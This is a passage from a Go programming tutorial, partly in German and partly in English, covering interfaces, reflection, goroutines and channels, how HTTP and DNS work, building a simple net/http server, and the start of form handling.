Eine der schönsten Eigenschaften von Go ist dessen eingebaute und vorrausschauende Syntax, etwa namenlose Eigentschaften in Structs. Nicht überraschend können wir dies ebenfalls mit Interfaces tun, die eingebettete Interfaces genannt werden. Auch hier gelten die selben Regeln wie bei namenlosen Eigenschaften. Anders ausgedrückt: wenn ein Interface ein anderes Interface einbettet, werden auch alle Methoden mit übernommen.

Im Quellcode des Pakets container/heap lässt sich folgende Definition finden:

type Interface interface {
        sort.Interface      // Eingetettetes sort.Interface
        Push(x interface{}) // Eine Push Methode, um Objekte im Heap zu speichern
        Pop() interface{}   // Eine Pop Methode, um Elemente aus dem heap zu löschen
}

Wie wir sehen können, handelt es sich bei sort.Interface um ein eingebettes Interface. Es beinhaltet neben Push() und Pop() die folgenden drei Methoden implizit.

type Interface interface {
        // Len gibt die Anzahl der Objekte in der Datenstruktur an.
        Len() int
        // Less gibt in Form eines Boolean an, ob i mit j getauscht werden sollte
        Less(i, j int) bool
        // Swap vertauscht die Elemente i und j.
        Swap(i, j int)
}

Ein weiteres Beispiel ist io.ReadWriter aus dem Paket io.

// io.ReadWriter
type ReadWriter interface {
        Reader
        Writer
}





14.1.8 Reflexion

Reflexion in Go wird genutzt, um Informationen während der Laufzeit zu bestimmen. Wir nutzen dafür das reflect Paket. Der offizelle Artikel erklärt die Funktionsweise von reflect in Go.

Die Nutzung von reflect umfasst drei Schritte. Als Erstes müssen wir ein Interface in reflect-Datentypen umwandeln (entweder in reflect.Type oder reflect.Value, aber dies ist Situationsabhängig).

t := reflect.TypeOf(i)    // Speichert den Datentyp von i in t und erlaubt den Zugriff auf alle Elemente
v := reflect.ValueOf(i)   // Erhalte den aktuellen Wert von i. Nutze v um den Wert zu ändern

Danach können wir die reflektierten Datentypen konvertieren, um ihre Werte zu erhalten.

var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("Datentyp:", v.Type())
fmt.Println("Die Variante ist float64:", v.Kind() == reflect.Float64)
fmt.Println("Wert:", v.Float())

Wollen wir schließlich den Wert eines reflektierten Datentypen ändern, müssen wir ihn dynamisch machen. Wie vorhin angesprochen, gibt es einen Unterschied, wenn wir einen Wert als Kopie oder dessen Zeiger übergeben. Das untere Beispiel ist nicht kompilierbar.

var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)

Stattdessen müssen wir den folgenden Code verwenden, um die Werte der reflektierten Datentypen zu ändern.

var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)

Nun kennen wir die Grundlagen der Reflexion. Es erfordert jedoch noch ein wenig Übung, um sich mit diesem Konzept vertraut zu machen.





14.2 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Objektorientierte Programmierung

	Nächster Abschnitt: Nebenläufigkeit







15 2.7 Nebenläufigkeit

Es wird behauptet, Go sei das C des 21. Jahrhunderts. Ich glaube, dafür gibt es zwei Gründe: erstens, Go ist eine simple Programmiersprache; zweitens: Nebenläufigkeit (Concurrency im Englischen) ist ein heißes Thema in der heutigen Welt und Go unterstützt die Eigenschaft als ein zentraler Aspekt der Sprache.





15.1 Goroutinen

Goroutinen und Nebenläufigkeit sind zwei wichtige Komponenten im Design von Go. Sie ähneln Threads, funktionieren aber auf eine andere Weise. Ein dutzend Goroutinen haben vielleicht nur fünf oder sechs zugrundeliegende Threads. Des Weiteren unterstützt Go vollständig das Teilen von Speicherressourcen zwischen den Goroutinen. Eine Goroutine nimmt gewöhnlicherweise etwa 4 bis 5 KB Speicher ein. Daher ist es nicht schwer, tausende von Goroutinen auf einem einzelnen Computer zu nutzen. Goroutinen sind weniger ressourcenhungrig, effizienter und geeigneter als Systemthreads.

Goroutinen laufen im Thread Manager während der Laufzeit von Go. Wir nutzen das Schlüsselwort go, um eine neue Goroutine zu erstellen, wobei es sich eigentlich um eine interne Funktion von Go handelt ( main() ist ebenfalls eine Goroutine ).

go Hallo(a, b, c)

Schauen wir uns ein Beispiel an.

package main

import (
    "fmt"
    "runtime"
)

func sag(s string) {
    for i := 0; i < 5; i++ {
        runtime.Gosched()
        fmt.Println(s)
    }
}

func main() {
    go sag("Welt") // Erzeugt eine neue Goroutine
    sag("Hallo")   // Aktuelle Goroutine
}

Ausgabe:

Hallo
Welt
Hallo
Welt
Hallo
Welt
Hallo
Welt
Hallo

Wie es scheint, ist es sehr einfach, Nebenläufigkeit in Go durch das Schlüsselwort go zu nutzen. Im oberen Beispiel teilen sich beide Goroutinen den selben Speicher. Aber es wäre besser, diesem Rat folge zu leisten: Nutze keine geteilten Daten zur Kommunikation, sondern kommuniziere die geteilten Daten.

runtime.Gosched() bedeutet, das die CPU andere Goroutinen ausführen und nach einiger Zeit an den Ausgangspunkt zurückkehren soll.

Das Steuerungsprogramm nutzt einen Thread, um alle Goroutinen auszuführen. Das bedeutet, dass einzig dort Nebenläufigkeit implementiert wird. Möchtest Du mehr Rechnenkerne im Prozessor nutzen, um die Vorteile paralleler Berechnungen einzubringen, musst Du runtime.GOMAXPROCS(n) aufrufen, um die Anzahl der Rechenkerne festzulegen. Gilt n<1, verändert sich nichts. Es könnte sein, dass diese Funktion in Zukunft entfernt wird. Für weitere Informationen zum verteilten Rechnen und Nebenläufigkeit findest Du in diesem Artikel.





15.2 Channels

Goroutinen werden im selben Adressraum des Arbeitsspeichers ausgeführt, sodass Du in den Goroutinen die genutzen Ressourcen synchronisieren musst, wenn diese geteilt werden sollen. Aber wie kommuniziere ich zwischen verschiedenen Goroutinen? Hierfür nutzt Go einen sehr guten Mechanismus mit dem Namen channel. channel ist wie eine bidirektionale Übertragungsleitung (Pipe) in Unix-Shells: nutze channel um Daten zu senden und zu empfangen. Der einzige Datentyp, der in Kombination mit diesen Datenkanälen genutzt werden kann, ist der Typ channel und das Schlüsselwort chan. Beachte, dass Du make brauchst, um einen neuen channel zu erstellen.

ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})

channel nutzt den Operator <-, um Daten zu senden und zu empfangen.

ch <- v    // Sende v an den Kanal ch.
v := <-ch  // Empfange Daten von ch und weise sie v zu

Schauen wir uns weitere Beispiele an.

package main

import "fmt"

func summe(a []int, c chan int) {
    gesamt := 0
    for _, v := range a {
    gesamt += v
    }
    c <- gesamt  // Sende gesamt an c
}

func main() {
    a := []int{7, 2, 8, -9, 4, 0}

    c := make(chan int)
    go summe(a[:len(a)/2], c)
    go summe(a[len(a)/2:], c)
    x, y := <-c, <-c  // Empfange Daten von c

    fmt.Println(x, y, x + y)
}

Das Senden und Empfangen von Daten durch die Datenkanäle wird standardmäßig gestoppt, um die Goroutinen einfach synchron zu halten. Mit dem Blocken meine ich, dass eine Goroutine nicht weiter ausgeführt wird, sobald keine Daten mehr von einem channel empfangen werden (z.B. value := <-ch) und andere Goroutinen keine weiteren Daten über den entsprechenden Kanal senden. Anderseits stoppt die sendende Goroutine solange, bis alle Daten (z.B. ch<-5)über den Kanal empfangen wurden.





15.3 Gepufferte Channels

Eben habe ich die nicht-gepuffter Datenkanäle vorgestellt. Go unterstützt aber auch gepufferte Channel, die mehr als ein Element speichern können, z.B. ch := make(chan bool, 4). Hier wurde ein Channel mit der Kapazität von vier Booleans erstellt. Mit diesem Datenkanal sind wir in der Lage, vier Elemente zu senden, ohne das die Goroutine stoppt. Dies passiert aber bei dem Versuch, ein fünftes Element zu versenden, ohne das es von einer Goroutine empfangen wird.

ch := make(chan type, n)

n == 0 ! nicht-gepuffert（stoppt）
n > 0 ! gepuffert（nicht gestoppt, sobald n Elemente im Kanal sind）

Experimentiere mit dem folgenden Code auf Deinem Computer und verändere die Werte.

package main

import "fmt"

func main() {
    c := make(chan int, 2)  // Setze 2 auf 1 und Du erzeugst einen Laufzeitfehler. Aber 3 ist OK.
    c <- 1
    c <- 2
    fmt.Println(<-c)
    fmt.Println(<-c)
}





15.4 Range und Close

Wir können range in gepufferten Kanlen genauso nutzen, wie mit Slices und Maps.

package main

import (
    "fmt"
)

func fibonacci(n int, c chan int) {
    x, y := 1, 1
    for i := 0; i < n; i++ {
        c <- x
        x, y = y, x + y
    }
    close(c)
}

func main() {
    c := make(chan int, 10)
    go fibonacci(cap(c), c)
    for i := range c {
        fmt.Println(i)
    }
}

for i := range c wird nicht eher mit dem Lesen von Daten aus dem Channel aufhören, ehe dieser geschlossen ist. Wir nutzen das Schlüsselwort close, um den Datenkanal im oberen Beispiel zu schließen. Es ist unmöglich, Daten über einen geschlossenen Channel zu senden oder zu empfangen. Mit v, ok := <-ch kannst Du den Status eines Kanals überprüfen. Wird ok auf false gesetzt, bedeutet dies, dass sich keine weiteren Daten im Channel befinden und er geschlossen wurde.

Denke aber immer daran, die Datenkanäle auf seiten der Datenproduzenten zu schließen und nicht bei den Empfängern der Daten. Andernfalls kann es passieren, dass sich Dein Programm in den Panikmodus versetzt.

Ein weiterer Aspekt, den wir nicht unterschlagen sollten, ist, dass Du Channels nicht wie Dateien behandeln solltest. Du brauchst sie nicht andauernd schließen, sondern erst, wenn Du sicher bist, dass sie nicht mehr gebraucht werden oder Du das Abfragen der übertragenen Daten mit dem Schlüsselwort range beenden willst.





15.5 Select

In den vorherigen Beispielen haben wir bisher immer nur einen Datenkanal verwendet, aber wie können wir Gebrauch von mehreren Channels machen? Go erlaubt es, mit dem Schlüsselwort select viele Kanäle nach Daten zu belauschen.

select stoppt standardmäßig eine Goroutine und wird einzig ausgeführt, wenn einer der Channels Daten sendet oder empfängt. Sollten mehrere Kanäle zur gleichen Zeit aktiv sein, wird ein zufälliger ausgewählt.

package main

import "fmt"

func fibonacci(c, quit chan int) {
    x, y := 1, 1
    for {
        select {
        case c <- x:
            x, y = y, x + y
        case <-quit:
        fmt.Println("Fertig")
            return
        }
    }
}

func main() {
    c := make(chan int)
    quit := make(chan int)
    go func() {
        for i := 0; i < 10; i++ {
            fmt.Println(<-c)
        }
        quit <- 0
    }()
    fibonacci(c, quit)
}

select hat ebenfalls einen Standardfall wie switch, mit dem Namen default. Wenn kein Datenkanal aktiv sein sollte, wird der Standardfall ausgeführt (es wird auf keinen Kanal mehr gewartet).

select {
case i := <-c:
    // Benutze i
default:
    // Dieser Code wird ausgeführt, sollte c gestoppt worden sein
}





15.6 Zeitüberschreitung

Manchmal kann es vorkommen, dass eine Goroutine gestoppt wird. Wie können wir verhindern, dass daraus resultierend das gesamte Programm aufhört zu arbeiten? Es ist ganz einfach. Es muss lediglich eine Zeitüberschreitung in select festgelegt werden.

func main() {
    c := make(chan int)
    o := make(chan bool)
    go func() {
        for {
            select {
                case v := <- c:
                    println(v)
                case <- time.After(5 * time.Second):
                    println("Zeitüberschreitung")
                    o <- true
                    break
            }
        }
    }()
    <- o
}





15.7 Runtime goroutine

Das Paket runtime beinhaltet ein paar Funktionen zum Umgang mit Goroutinen.


	runtime.Goexit()

Verlässt die aktuelle Goroutine, aber verzögerte Funktionen werden wie gewohnt ausgeführt.


	runtime.Gosched()

Lässt die CPU vorerst andere Goroutinen ausführen und kehrt nach einiger Zeit zum Ausgangspunkt zurück.


	runtime.NumCPU() int

Gibt die Anzahl der Rechenkerne zurück.


	runtime.NumGoroutine() int

Gibt die Anzahl der Goroutinen zurück.


	runtime.GOMAXPROCS(n int) int

Legt die Anzahl der Rechenkerne fest, die benutzt werden sollen.








15.8 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Interfaces

	Nächster Abschnitt: Zusammenfassung

15.8 2.8 Zusammenfassung




In diesem Kapitel haben wir uns hauptsächlich mit den 25 Schlüsselwörtern in Go auseinandergesetzt. Schauen wir sie und ihre Funktionweise uns noch einmal an.

break    default      func    interface    select
case     defer        go      map          struct
chan     else         goto    package      switch
const    fallthrough  if      range        type
continue for          import  return       var


	var und const werden benutzt, um Variablen und Konstanten zu definieren.

	package und import sind für die Nutzung von Paketen nötig.

	func wird zur Definition von Funktionen und Methoden verwendet.

	return wird genutzt, um Werte von Funktionen und Methoden zurückzugeben.

	defer wird genutzt, um Funktionen zu definieren, die als letzte Anweisung ausgeführt werden.

	go definiert und startet eine neue Goroutine.

	select erlaubt das Kommunizieren über mehrere Channels.

	interface definiert ein Interface.

	struct lässt uns speziell angepasste Datentypen erstellen.

	break, case, continue, for, fallthrough, else, if, switch, goto und default wurden in Abschnitt 2.3 vorgestellt.

	chan ist ein Datentypen für Channel, die es erlauben, zwischen Goroutinen zu kommunizieren.

	type dient zur Erstellung eigener Datentypen.

	map definiert eine Map, welche Hashtabellen in anderen Programmiersprachen ähneln.

	range wird genutzt, um Daten aus einem slice, einer map oder einemchannel zu erhalten.



Wenn Du verstanden hast, wie die 25 Schlüsselwörter einzusetzen sind, dann hast Du bereits eine Menge über Go gelernt.





15.9 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: Nebenläufigkeit

	Nächstes Kapitel: Grundlagen des Internets







16 3 Internet Grundlagen

Der Grund warum du dieses Buch liest, ist das du lernen möchtest wie man mit Go Webanwendungen erstellt. Wie ich schon sagte, stellt Go viele mächtige Pakete wie http zur Verfügung. Die Pakete können dir eine große Hilfe sein um Webanwendungen zu erstellen. In den nächsten Kapiteln werde ich dir hierzu alles beibringen, was du wissen musst. Wir werden in diesem Kapitel über einige Konzepte des Internet und wie man Webanwendung mit Go ausführt sprechen.





16.1 Links


	Directory

	Previous chapter: Chapter 2 Summary

	Next section: Web working principles







17 Web working principles

Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions?

Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a DNS server in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders the body of the web page and disconnects from the server.
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Figure 3.1 Processes of users visit a website

A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can be considered clients.

We can divide the web’s working principles into the following steps:


	Client uses TCP/IP protocol to connect to server.

	Client sends HTTP request packages to server.

	Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls script engine first.

	Client disconnects from server, starts rendering HTML.



This is a simple work flow of HTTP affairs -notice that the server closes its connections after it sends data to the clients, then waits for the next request.





17.1 URL and DNS resolution

We always use URLs to access web pages, but do you know how URLs work?

The full name of a URL is Uniform Resource Locator. It’s for describing resources on the internet and its basic form is as follows.

scheme://host[:port#]/path/.../[?query-string][#anchor]
scheme         assign underlying protocol (such as HTTP, HTTPS, FTP)
host           IP or domain name of HTTP server
port#          default port is 80, and it can be omitted in this case. If you want to use other ports, you must specify which port. For example, http://www.cnblogs.com:8080/
path           resources path
query-string   data are sent to server
anchor         anchor

DNS is an abbreviation of Domain Name System. It’s the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator.
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Figure 3.2 DNS working principles

To understand more about its working principle, let’s see the detailed DNS resolution process as follows.


	After typing the domain name www.qq.com in the browser, the operating system will check if there are any mapping relationships in the hosts’ files for this domain name. If so, then the domain name resolution is complete.

	If no mapping relationships exist in the hosts’ files, the operating system will check if any cache exists in the DNS. If so, then the domain name resolution is complete.

	If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative.

	If the local DNS server doesn’t contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative.

	If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server’s settings.

-If the local DNS server doesn’t enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, .com in this case. If the first top level DNS server doesn’t recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to www.qq.com.

-If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn’t recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name.



Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local DNS server, and the local DNS server sends it back to the client.
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Figure 3.3 DNS resolution work flow

Recursive query process simply means that the enquirers change in the process. Enquirers do not change in Iterative query processes.

Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses.





17.2 HTTP protocol

The HTTP protocol is a core part of web services. It’s important to know what the HTTP protocol is before you understand how the web works.

HTTP is the protocol that is used to facilitate communication between browsers and web servers. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading.

The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections.

Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server. Examples of such attacks are SYN flooding, DoS and DDoS attacks.





17.2.1 HTTP request package (browser information)

Request packages all have three parts: request line, request header, and body. There is one blank line between header and body.

GET /domains/example/ HTTP/1.1      // request line: request method, URL, protocol and its version
Host：www.iana.org             // domain name
User-Agent：Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4            // browser information
Accept：text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8    // mime that clients can accept
Accept-Encoding：gzip,deflate,sdch     // stream compression
Accept-Charset：UTF-8,*;q=0.5      // character set in client side
// blank line
// body, request resource arguments (for example, arguments in POST)

We use fiddler to get the following request information.
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Figure 3.4 Information of a GET request caught by fiddler
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Figure 3.5 Information of a POST request caught by fiddler

We can see that GET does not have a request body, unlike POST, which does.

There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4 basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query, change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP. GET can append query parameters to the URL, using ? to separate the URL and parameters and & between the arguments, like EditPosts.aspx?name=test1&id=123456. POST puts data in the request body because the URL implements a length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names and passwords, we don’t want this kind of information to appear in the URL, so we use POST to keep them invisible.





17.2.2 HTTP response package (server information)

Let’s see what information is contained in the response packages.

HTTP/1.1 200 OK                     // status line
Server: nginx/1.0.8                 // web server software and its version in the server machine
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT        // responded time
Content-Type: text/html             // responded data type
Transfer-Encoding: chunked          // it means data were sent in fragments
Connection: keep-alive              // keep connection 
Content-Length: 90                  // length of body
// blank line
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... // message body

The first line is called the status line. It supplies the HTTP version, status code and status message.

The status code informs the client of the status of the HTTP server’s response. In HTTP/1.1, 5 kinds of status codes were defined:

- 1xx Informational
- 2xx Success
- 3xx Redirection
- 4xx Client Error
- 5xx Server Error

Let’s see more examples about response packages. 200 means server responded correctly, 302 means redirection.
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Figure 3.6 Full information for visiting a website





17.2.3 HTTP is stateless and Connection: keep-alive

The term stateless doesn’t mean that the server has no ability to keep a connection. It simply means that the server doesn’t recognize any relationships between any two requests.

In HTTP/1.1, Keep-alive is used by default. If clients have additional requests, they will use the same connection for them.

Notice that Keep-alive cannot maintian one connection forever; the application running in the server determines the limit with which to keep the connection alive for, and in most cases you can configure this limit.





17.3 Request instance
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Figure 3.7 All packages for opening one web page

We can see the entire communication process between client and server from the above picture. You may notice that there are many resource files in the list; these are called static files, and Go has specialized processing methods for these files.

This is the most important function of browsers: to request for a URL and retrieve data from web servers, then render the HTML. If it finds some files in the DOM such as CSS or JS files, browsers will request these resources from the server again until all the resources finish rendering on your screen.

Reducing HTTP request times is one way of improving the loading speed of web pages. By reducing the number of CSS and JS files that need to be loaded, both request latencies and pressure on your web servers can be reduced at the same time.





17.4 Links


	Directory

	Previous section: Web foundation

	Next section: Build a simple web server







18 3.2 Build a simple web server

We’ve discussed that web applications are based on the HTTP protocol, and Go provides full HTTP support in the net/http package. It’s very easy to set a web server up using this package.





18.1 Use http package setup a web server

package main

import (
    "fmt"
    "net/http"
    "strings"
    "log"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()  // parse arguments, you have to call this by yourself
    fmt.Println(r.Form)  // print form information in server side
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") // send data to client side
}

func main() {
    http.HandleFunc("/", sayhelloName) // set router
    err := http.ListenAndServe(":9090", nil) // set listen port
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}

After we execute the above code, the server begins listening to port 9090 in local host.

Open your browser and visit http://localhost:9090. You can see that Hello astaxie is on your screen.

Let’s try another address with additional arguments: http://localhost:9090/?url_long=111&url_long=222

Now let’s see what happens on both the client and server sides.

You should see the following information on the server side:
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Figure 3.8 Server printed information

As you can see, we only need to call two functions in order to build a simple web server.

If you are working with PHP, you’re probably asking whether or not we need something like Nginx or Apache. The answer is we no, since Go listens to the TCP port by itself, and the function sayhelloName is the logic function just like a controller in PHP.

If you are working with Python you should know tornado, and the above example is very similar to that.

If you are working with Ruby, you may notice it is like script/server in ROR.

We used two simple functions to setup a simple web server in this section, and this simple server already has the capacity for high concurrency operations. We will talk about how to utilize this in the next two sections.





18.2 Links


	Directory

	Previous section: Web working principles

	Next section: How Go works with web







19 3.3 How Go works with web

We learned to use the net/http package to build a simple web server in the previous section, and all those working principles are the same as those we will talk about in the first section of this chapter.





19.1 Concepts in web principles

Request: request data from users, including POST, GET, Cookie and URL.

Response: response data from server to clients.

Conn: connections between clients and servers.

Handler: Request handling logic and response generation.





19.2 http package operating mechanism

The following picture shows the work flow of a Go web server.
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Figure 3.9 http work flow


	Create a listening socket, listen to a port and wait for clients.

	Accept requests from clients.

	Handle requests, read HTTP header. If the request uses POST method, read data in the message body and pass them to handlers. Finally, socket returns response data to clients.



Once we know the answers to the three following questions, it’s easy to know how the web works in Go.


	How do we listen to a port?

	How do we accept client requests?

	How do we allocate handlers?



In the previous section we saw that Go uses ListenAndServe to handle these steps: initialize a server object, call net.Listen("tcp", addr) to setup a TCP listener and listen to a specific address and port.

Let’s take a look at the http package’s source code.

//Build version go1.1.2.
func (srv *Server) Serve(l net.Listener) error {
    defer l.Close()
    var tempDelay time.Duration // how long to sleep on accept failure
    for {
        rw, e := l.Accept()
        if e != nil {
            if ne, ok := e.(net.Error); ok && ne.Temporary() {
                if tempDelay == 0 {
                    tempDelay = 5 * time.Millisecond
                } else {
                    tempDelay *= 2
                }
                if max := 1 * time.Second; tempDelay > max {
                    tempDelay = max
                }
                log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
                time.Sleep(tempDelay)
                continue
            }
            return e
        }
        tempDelay = 0
        c, err := srv.newConn(rw)
        if err != nil {
            continue
        }
        go c.serve()
    }
}

How do we accept client requests after we begin listening to a port? In the source code, we can see that srv.Serve(net.Listener) is called to handle client requests. In the body of the function there is a for{}. It accepts a request, creates a new connection then starts a new goroutine, passing the request data to the go c.serve() goroutine. This is how Go supports high concurrency, and every goroutine is independent.

How do we use specific functions to handle requests? conn parses request c.ReadRequest() at first, then gets the corresponding handler: handler := c.server.Handler which is the second argument we passed when we called ListenAndServe. Because we passed nil, Go uses its default handler handler = DefaultServeMux. So what is DefaultServeMux doing here? Well, its the router variable which can call handler functions for specific URLs. Did we set this? Yes, we did. We did this in the first line where we used http.HandleFunc("/", sayhelloName). We’re using this function to register the router rule for the “/” path. When the URL is /, the router calls the function sayhelloName. DefaultServeMux calls ServerHTTP to get handler functions for different paths, calling sayhelloName in this specific case. Finally, the server writes data and responds to clients.

Detailed work flow:
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Figure 3.10 Work flow of handling an HTTP request

I think you should know how Go runs web servers now.





19.3 Links


	Directory

	Previous section: Build a simple web server

	Next section: Get into http package







20 3.4 Get into http package

In previous sections, we learned about the work flow of the web and talked a little bit about Go’s http package. In this section, we are going to learn about two core functions in the http package: Conn and ServeMux.





20.1 goroutine in Conn

Unlike normal HTTP servers, Go uses goroutines for every job initiated by Conn in order to achieve high concurrency and performance, so every job is independent.

Go uses the following code to wait for new connections from clients.

c, err := srv.newConn(rw)
if err != nil {
    continue
}
go c.serve()

As you can see, it creates a new goroutine for every connection, and passes the handler that is able to read data from the request to the goroutine.





20.2 Customized ServeMux

We used Go’s default router in previous sections when discussing conn.server, with the router passing request data to a back-end handler.

The struct of the default router:

type ServeMux struct {
    mu sync.RWMutex   // because of concurrency, we have to use a mutex here
    m  map[string]muxEntry  // router rules, every string mapping to a handler
}

The struct of muxEntry:

type muxEntry struct {
    explicit bool   // exact match or not
    h        Handler
}

The interface of Handler:

type Handler interface {
    ServeHTTP(ResponseWriter, *Request)  // routing implementer
}

Handler is an interface, but if the function sayhelloName didn’t implement this interface, then how did we add it as handler? The answer lies in another type called HandlerFunc in the http package. We called HandlerFunc to define our sayhelloName method, so sayhelloName implemented Handler at the same time. It’s like we’re calling HandlerFunc(f), and the function f is force converted to type HandlerFunc.

type HandlerFunc func(ResponseWriter, *Request)

// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
    f(w, r)
}

How does the router call handlers after we set the router rules?

The router calls mux.handler.ServeHTTP(w, r) when it receives requests. In other words, it calls the ServeHTTP interface of the handlers which have implemented it.

Now, let’s see how mux.handler works.

func (mux *ServeMux) handler(r *Request) Handler {
    mux.mu.RLock()
    defer mux.mu.RUnlock()

    // Host-specific pattern takes precedence over generic ones
    h := mux.match(r.Host + r.URL.Path)
    if h == nil {
        h = mux.match(r.URL.Path)
    }
    if h == nil {
        h = NotFoundHandler()
    }
    return h
}

The router uses the request’s URL as a key to find the corresponding handler saved in the map, then calls handler.ServeHTTP to execute functions to handle the data.

You should understand the default router’s work flow by now, and Go actually supports customized routers. The second argument of ListenAndServe is for configuring customized routers. It’s an interface of Handler. Therefore, any router that implements the Handler interface can be used.

The following example shows how to implement a simple router.

package main

import (
    "fmt"
    "net/http"
)

type MyMux struct {
}

func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == "/" {
        sayhelloName(w, r)
        return
    }
    http.NotFound(w, r)
    return
}

func sayhelloName(w http.ResponseWriter, r  *http.Request) {
    fmt.Fprintf(w, "Hello myroute!")
}

func main() {
    mux := &MyMux{}
    http.ListenAndServe(":9090", mux)
}





20.3 Go code execution flow

Let’s take a look at the whole execution flow.


	Call http.HandleFunc

	Call HandleFunc of DefaultServeMux

	Call Handle of DefaultServeMux

	Add router rules to map[string]muxEntry of DefaultServeMux




	Call http.ListenAndServe(":9090", nil)

	Instantiate Server

	Call ListenAndServe method of Server

	Call net.Listen(“tcp”, addr) to listen to port

	Start a loop and accept requests in the loop body

	Instantiate a Conn and start a goroutine for every request: go c.serve()

	Read request data: w, err := c.readRequest()

	Check whether handler is empty or not, if it’s empty then use DefaultServeMux

	Call ServeHTTP of handler

	Execute code in DefaultServeMux in this case

	Choose handler by URL and execute code in that handler function: mux.handler.ServeHTTP(w, r)

	How to choose handler:

A. Check router rules for this URL

B. Call ServeHTTP in that handler if there is one

C. Call ServeHTTP of NotFoundHandler otherwise










20.4 Links


	Directory

	Previous section: How Go works with web

	Next section: Summary







21 3.5 Summary

In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how Go implements web servers for us by looking at the source code of the net/http package.

I hope that you now know much more about web development, and you should see that it’s quite easy and flexible to build a web application in Go.





21.1 Links


	Directory

	Previous section: Get into http package

	Next chapter: User form







22 4 User form

A user form is something that is very commonly used when developping web applications. It provides the ability to communicate between clients and servers. You must be very familiar with forms if you are a web developer; if you are a C/C++ programmer, you may want to ask: what is a user form?

A form is an area that contains form elements. Users can input information into form elements like text boxes, drop down lists, radio buttons, check boxes, etc. We use the form tag <form> to define forms.

<form>
...
input elements
...
</form>

Go already has many convenient functions to deal with user forms. You can easily get form data in HTTP requests, and they are easy to integrate into your own web applications. In section 4.1, we are going to talk about how to handle form data in Go. Also, since you cannot trust any data coming from the client side, you must first verify the data before using it. We’ll go through some examples about how to verify form data in section 4.2.

We say that HTTP is stateless. How can we identify that certain forms are from the same user? And how do we make sure that one form can only be submitted once? We’ll look at some details concerning cookies (a cookie is information that can be saved on the client side and added to the request header when the request is sent to the server) in both sections 4.3 and 4.4.

Another big use-case of forms is uploading files. In section 4.5, you will learn how to do this as well as controlling the file upload size before it begins uploading, in Go.





22.1 Links
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	Previous chapter: Chapter 3 Summary
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23 4.1 Process form inputs

Before we begin, let’s take a look at a simple example of a typical user form, saved as login.gtpl in your project folder.

<html>
<head>
<title></title>
</head>
<body>
<form action="/login" method="post">
    Username:<input type="text" name="username">
    Password:<input type="password" name="password">
    <input type="submit" value="Login">
</form>
</body>
</html>

This form will submit to /login on the server. After the user clicks the login button, the data will be sent to the login handler registered by the server router. Then we need to know whether it uses the POST method or GET.

This is easy to find out using the http package. Let’s see how to handle the form data on the login page.

package main

import (
    "fmt"
    "html/template"
    "log"
    "net/http"
    "strings"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()  //Parse url parameters passed, then parse the response packet for the POST body (request body)
    // attention: If you do not call ParseForm method, the following data can not be obtained form
    fmt.Println(r.Form) // print information on server side.
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
